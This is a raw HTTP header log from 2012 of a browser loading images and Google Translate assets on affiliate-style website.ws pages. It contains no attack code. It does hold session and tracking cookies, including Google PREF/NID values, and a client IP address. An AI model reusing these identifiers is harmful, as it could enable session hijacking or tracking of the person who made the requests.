Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:23 GMT
Content-Length: 180274
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:23 GMT
Age: 13038
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/100d.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:57 GMT
Content-Length: 139153
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:57 GMT
Age: 29624
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /translate_static/js/element/10/element_main.js HTTP/1.1

Host: translate.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Sat, 02 Jun 2012 01:19:15 GMT
Date: Tue, 06 Nov 2012 03:16:46 GMT
Expires: Tue, 06 Nov 2012 04:16:46 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 75700
X-XSS-Protection: 1; mode=block
Age: 1736
Cache-Control: public, max-age=3600
GET /favicon.ico HTTP/1.1

Host: ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Tue, 06 Nov 2012 03:45:42 GMT
Server: Apache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 183
Keep-Alive: timeout=3, max=3000
Connection: Keep-Alive
GET /kvmlm2/images/13/bg100.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:25 GMT
Content-Length: 464198
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:25 GMT
Age: 13036
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /translate_static/js/element/hrs.swf HTTP/1.1

Host: translate.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
 
HTTP/1.1 200 OK

Content-Type: application/x-shockwave-flash

Last-Modified: Mon, 02 Apr 2012 00:13:23 GMT
Date: Tue, 06 Nov 2012 03:45:44 GMT
Expires: Tue, 06 Nov 2012 04:45:44 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 4689
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=3600
Age: 0
GET /images/icons/product/translate-32.png HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Mon, 02 Apr 2012 02:13:37 GMT
Date: Tue, 06 Nov 2012 03:45:44 GMT
Expires: Tue, 06 Nov 2012 03:45:44 GMT
Cache-Control: private, max-age=31536000
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 1464
X-XSS-Protection: 1; mode=block
GET /images/cleardot.gif HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: image/gif

Last-Modified: Mon, 02 Apr 2012 02:13:37 GMT
Date: Tue, 06 Nov 2012 03:45:44 GMT
Expires: Tue, 06 Nov 2012 03:45:44 GMT
Cache-Control: private, max-age=31536000
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 43
X-XSS-Protection: 1; mode=block
GET /translate_a/l?client=te&alpha=true&hl=en&cb=_callbacks_._0h96h7srj HTTP/1.1

Host: translate.googleapis.com
GET /translate_a/l?client=te&amp;alpha=true&amp;hl=en&amp;cb=_callbacks_._0h96h7srj HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

Date: Tue, 06 Nov 2012 03:45:45 GMT
Expires: Tue, 06 Nov 2012 03:45:45 GMT
Cache-Control: private, max-age=86400
Content-Language: en
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Content-Encoding: gzip
Server: HTTP server (unknown)
Content-Length: 652
X-XSS-Protection: 1; mode=block
GET /translate_static/img/te_ctrl3.gif HTTP/1.1

Host: translate.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
 
HTTP/1.1 200 OK

Content-Type: image/gif

Last-Modified: Mon, 02 Apr 2012 00:13:23 GMT
Date: Thu, 01 Nov 2012 01:09:27 GMT
Expires: Fri, 01 Nov 2013 01:09:27 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 2849
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 441378